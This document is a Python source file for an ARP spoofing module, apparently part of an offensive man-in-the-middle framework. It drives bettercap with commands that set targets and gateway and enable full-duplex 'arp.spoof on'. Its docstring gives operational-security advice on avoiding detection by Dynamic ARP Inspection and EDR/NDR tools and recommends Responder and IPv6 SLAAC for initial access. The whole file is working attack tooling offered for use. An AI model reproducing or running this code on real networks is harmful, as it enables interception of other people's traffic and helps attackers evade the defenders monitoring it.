#!/usr/bin/env python3 """ARP Spoofing module — thin wrapper around bettercap arp.spoof. OPSEC WARNING: ARP spoofing is the most-detected active MITM technique. - Dynamic ARP Inspection (DAI) on managed switches silently prevents it. - EDR/NDR solutions alert within minutes. - Prefer Responder + IPv6 SLAAC for initial access. - Reserve ARP spoofing for confirmed legacy/unmanaged segments. - Always run ids_tester DAI probe first to check viability. Configures targets + gateway, then delegates to BettercapManager to enable arp.spoof module. Full-duplex by default for complete MITM. """ import logging import os import time from typing import Optional from modules.base import BaseModule logger = logging.getLogger(__name__) class ARPSpoof(BaseModule): """ARP spoofing via bettercap — full-duplex MITM. Dependencies: - bettercap_mgr must be running. Configuration: targets: Comma-separated target IPs or CIDR (e.g., "10.0.0.0,10.0.0.0") gateway: Gateway IP to spoof (e.g., "10.0.0.0") fullduplex: True for bidirectional spoofing (default True) internal: Spoof between targets, not just target<->gateway (default False) """ name = "arp_spoof" module_type = "active" priority = 200 requires_root = True dependencies = ["bettercap_mgr"] def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._bettercap_mgr = None self._targets: Optional[str] = None self._gateway: Optional[str] = None self._fullduplex = True self._internal = False self._spoofing = False # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return self._bettercap_mgr = self.config.get("bettercap_mgr") if not self._bettercap_mgr: logger.error("ARPSpoof requires bettercap_mgr reference in config") return # Check if ARP was disabled by crash recovery if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'): if self._bettercap_mgr._arp_disabled_by_crash: logger.error( "ARP spoofing disabled by crash recovery — " "bettercap crashed too many times with ARP spoof active" ) return self._running = True self._pid = os.getpid() self._start_time = time.time() self.state.set_module_status(self.name, "running", pid=self._pid) logger.info("ARPSpoof module started (ready for spoof commands)") def stop(self) -> None: if not self._running: return if self._spoofing: self.stop_spoof() self._running = False self.state.set_module_status(self.name, "stopped") logger.info("ARPSpoof module stopped") def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "spoofing": self._spoofing, "targets": self._targets, "gateway": self._gateway, "fullduplex": self._fullduplex, "internal": self._internal, } def configure(self, config: dict) -> None: self.config.update(config) if "fullduplex" in config: self._fullduplex = config["fullduplex"] if "internal" in config: self._internal = config["internal"] # ------------------------------------------------------------------ # Public API # ------------------------------------------------------------------ def spoof(self, targets: str, gateway: str) -> bool: """Enable ARP spoofing for specified targets and gateway. Args: targets: Comma-separated target IPs or CIDR. gateway: Gateway IP address. Returns: True if spoofing was enabled successfully. """ if not self._running or not self._bettercap_mgr: logger.error("ARPSpoof not started") return False if self._bettercap_mgr._arp_disabled_by_crash: logger.error("ARP spoofing disabled — bettercap crash threshold exceeded") return False try: # Configure ARP spoof parameters self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}") self._bettercap_mgr.run_command( f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}" ) self._bettercap_mgr.run_command( f"set arp.spoof.internal {'true' if self._internal else 'false'}" ) # Enable ARP spoofing self._bettercap_mgr.run_command("arp.spoof on") self._targets = targets self._gateway = gateway self._spoofing = True # Inform bettercap_mgr for crash recovery tracking self._bettercap_mgr.set_spoofing_state(True, targets, gateway) self.state.set(self.name, "targets", targets) self.state.set(self.name, "gateway", gateway) logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway) return True except Exception: logger.exception("Failed to enable ARP spoofing") return False def stop_spoof(self) -> bool: """Disable ARP spoofing and send corrective ARPs. Returns: True if spoofing was stopped successfully. """ if not self._bettercap_mgr: return False try: self._bettercap_mgr.run_command("arp.spoof off") self._spoofing = False self._bettercap_mgr.set_spoofing_state(False) self.state.set(self.name, "targets", "") self.state.set(self.name, "gateway", "") logger.info("ARP spoofing disabled") return True except Exception: logger.exception("Failed to disable ARP spoofing") return False